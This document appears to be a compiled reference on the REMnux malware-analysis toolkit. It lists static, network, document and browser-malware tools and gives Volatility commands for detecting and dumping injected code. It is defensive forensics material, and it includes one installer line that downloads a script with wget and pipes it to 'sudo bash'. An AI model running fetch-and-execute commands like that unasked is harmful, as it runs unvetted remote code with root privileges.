https://digital-forensics.sans.org/blog/2015/06/13/how-to-install-sift-workstation-and-remnux-on-the-same-forensics-system

 Malware Analysis Using RemNux

REMnux® is a free Linux toolkit for assisting malware analysts with reverse-engineering malicious software.

This lightweight distro incorporates many tools for analyzing Windows and Linux malware,
examining browser-based threats such as obfuscated JavaScript, exploring suspicious document files and taking apart other malicious artifacts. Investigators can also use the distro to intercept suspicious network traffic in an isolated lab when performing behavioral malware analysis.

After installing RemNux connect to internet and run the “update-remnux full” command.

Alternatively, you can add REMnux software to an existing SIFT Workstation system. To do that, run the following command on SIFT:

wget --quiet -O - https://remnux.org/get-remnux.sh | sudo bash

http://sift.readthedocs.io/en/latest/

Below are some of the malware analysis tasks you can perform on REMnux. For the full listing of the many command-line tools available in this distro, see remnux.org.

 [ SIFT (SANS Investigative Forensics Toolkit)
     http://sift.readthedocs.io/en/latest/
                                       ]

https://remnux.org/docs/

https://www.decalage.info/en/security

https://www.digitalmunition.me/2015/06/remnux-v6-a-linux-toolkit-for-reverse-engineering-and-analyzing-malware/

 Statically Examine Files

• Inspect file properties using pescanner, pestr, pyew, readpe, pedump,
      peframe, signsrch, and readpe.py
• Investigate binary files in-depth using bokken, vivbin, udcli, RATDecoders,
     radare2, yara, and wxHexEditor
• Deobfuscate contents with xorsearch, unxor.py, Balbuzard, NoMoreXOR.py,
    brxor.py, and xortool
• Examine memory snapshots using Rekall and Volatility
• Assess packed files using densityscout, bytehist, packerid, and upx
• Extract and carve file contents using hachoir-subfile, bulk_extractor,
    scalpel, foremost
• Scan files for malware signatures using clamscan after refreshing signatures with freshclam
• Examine and track multiple malware samples with mas, viper, maltrieve,
    and Ragpicker
• Work with file hashes using nsrllookup, Automater, hash_id, ssdeep,
   totalhash, virustotalsearch, and vt
• Define signatures with yaraGenerator.py, autorule.py, IOCextractor.py, and rule-editor

 Handle Network Interactions

• Analyze network traffic with wireshark, ngrep, tcpick, tcpxtract, tcpflow,
   and tcpdump
• Intercept all laboratory traffic destined for IP addresses using accept-all-ips
• Analyze web traffic with burpsuite, mitmproxy, CapTipper, and NetworkMiner
• Implement common network services using fakedns, fakesmtp, inetsim,
   ircd start, and httpd start

 Examine Browser Malware

• Deobfuscate JavaScript with SpiderMonkey (js), d8, rhino-debugger,
  and Firebug
• Define JavaScript objects for SpiderMonkey using /usr/share/remnux/objects.js
• Clean up JavaScript with js-beautify
• Retrieve web pages with wget and curl
• Examine malicious Flash files with swfdump, flare, RABCDAsm, xxxswf.py, and extract_swf
• Analyze Java malware using idx_parser.py, cfr, jad, jd-gui, and Javassist
• Inspect malicious websites and domains using thug, Automater, pdnstool.py, and passive.py

 Examine Document Files

• Analyze suspicious Microsoft Office documents with officeparser.py,
  oletools, libolecf, and oledump.py
• Examine PDFs using pdfid, pdfwalker, pdf-parser, pdfdecompress,
  pdfxray_lite, pyew, and peepdf
• Extract JavaScript or SWFs from PDFs using pdfextract, pdfwalker, pdf-parser, and swf_mastah
• Examine shellcode using shellcode2exe.py, sctest, dism-this,
  unicode2hex-escaped, m2elf, and dism-this.py

 Investigate Linux Malware

• Disassemble and debug binaries using bokken, vivbin, edb, gdb, udcli, radare2, and objdump
• Examine the system during behavioral analysis with sysdig, unhide, strace,
   and ltrace
• Examine memory snapshots using Rekall and Volatility
• Decode Android malware using Androwarn and AndroGuard

 Windows Memory Analysis – Rogue Processes Detection

* psxview Find hidden processes using cross-view # vol.py psxview
* pstree Display parent-process relationships # vol.py pstree

 Windows Memory Analysis – Code Injection Detection

malfind        Find injected code and dump sections
-p     Show information only for specific PIDs
-o     Provide physical offset of single process to scan
--dump-dir  Directory to save memory sections
                        # vol.py malfind --dump-dir ./output_dir
ldrmodules  Detect unlinked DLLs
-p                 Show information only for specific PIDs
-v                 Verbose: show full paths from three DLL lists
                        # vol.py ldrmodules –p 868 -v

 Windows Memory Analysis – Dump Suspicious Processes

dlldump      Extract DLLs from specific processes
-p Dump      DLLs only for specific PIDs
-b Dump      DLLs from process at base offset
-r Dump      DLLs matching REGEX name
--dump-dir    Directory to save extracted files
 # vol.py dlldump --dump-dir=./output –r metsrv

moddump - Extract kernel drivers
-b  Dump driver using base address (from modscan)
-r  Dump drivers matching REGEX name
--dump-dir        Directory to save extracted files
# vol.py moddump --dump-dir=./output –r gaopdx

procdump Dump process to executable sample
-p Dump only specific PIDs
-o Specify process by physical memory offset
-n Use REGEX to specify process
--dump-dir       Directory to save extracted files
   # vol.py procdump --dump-dir=./output –p 868

memdump Dump every memory section into a single file
-p Dump memory sections from these PIDs
-n Use REGEX to specify process
--dump-dir       Directory to save extracted files
    # vol.py memdump –dump-dir=./output –p 868

dumpfiles Dump File_Objects from file cache
-Q Extract using physical offset
-r Extract using REGEX (-i for case insensitive)
--dump-dir       Directory to save extracted files
    # vol.py dumpfiles –dump-dir=./output –r \\.exe